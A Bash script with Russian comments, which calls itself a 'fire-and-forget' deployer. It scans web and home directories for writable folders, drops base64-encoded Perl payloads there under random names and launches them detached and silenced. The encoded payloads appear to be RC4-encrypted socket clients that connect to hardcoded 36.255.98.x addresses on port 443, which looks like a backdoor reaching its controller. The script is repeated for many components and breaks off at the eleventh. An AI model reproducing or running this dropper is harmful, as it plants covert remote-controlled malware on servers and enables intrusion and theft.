#!/bin/bash

# ==========================================================
#   УНИВЕРСАЛЬНЫЙ ДЕПЛОЕР "FIRE-AND-FORGET"
#   - Поддерживает запуск бинарных файлов и Perl-скриптов
#   - Находит подходящие директории для развертывания
#   - Запускает компоненты под случайными именами
#   - Немедленно завершается
# ==========================================================

# ==========================================================
#   НАСТРОЙКИ
# ==========================================================
PAUSE_SECONDS=2
RANDOM_NAME_LENGTH=10
SEARCH_PATHS=("/var/www/" "/srv/" "/usr/share/nginx/" "/home/")
MIN_DIR_DEPTH=4
# ==========================================================


echo "[RUNNER] Запускаем сканирование системы на наличие подходящих директорий..."

SHUFFLE_CMD="shuf"
if ! command -v shuf &> /dev/null; then SHUFFLE_CMD="sort -R"; fi

mapfile -t candidate_dirs < <(find "${SEARCH_PATHS[@]}" \
    -path '/proc' -prune -o -path '/sys' -prune -o -path '/dev' -prune -o -path '/run' -prune -o \
    -mindepth "$MIN_DIR_DEPTH" -type d -writable -executable -print 2>/dev/null | $SHUFFLE_CMD)

dir_count=${#candidate_dirs[@]}

if [ "$dir_count" -eq 0 ]; then
    echo "[RUNNER] КРИТИЧЕСКАЯ ОШИБКА: Не найдено ни одной подходящей директории для развертывания. Выход."
    exit 1
fi

echo "[RUNNER] Найдено $dir_count подходящих директорий. Начинаем развертывание компонентов..."
echo "---"

dir_index=0
first_run=true

# --- НАЧАЛО ЗАПУСКА КОМПОНЕНТОВ ---

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 1 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp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Rzb2NrZXRhcnJbMF0sICRkYXRh
LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy
ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ
CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n
NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #1 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #1 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 2 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzM2LjI1NS45OC4xNjAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt
eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt
eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwo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
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #2 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #2 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 3 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PRE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XN0OyB9CgkJCSAKCQkJICRy
ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ
CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n
NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #3 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #3 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 4 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzM2LjI1NS45OC4xNjInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt
eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt
eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15
ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15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ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #4 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #4 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 5 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZ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IwIC49ICRkYXRhOwoJ
CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n
NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #5 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #5 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 6 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzM2LjI1NS45OC4xNjQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt
eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt
eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15
ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw
b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0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MSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #6 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #6 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 7 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzM2LjI1NS45OC4xNjUnOwpteSAkcG9ydCA9IDQ0MzsKCm15IC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gkcmVtYWluaW5n
NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #7 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #7 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 8 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzM2LjI1NS45OC4xNjYnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt
eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt
eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15
ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw
b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g
MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk
c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K
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #8 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #8 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 9 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzM2LjI1NS45OC4xNjcnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJ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YnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #9 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #9 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 10 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urand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DOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #10 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #10 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 11 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
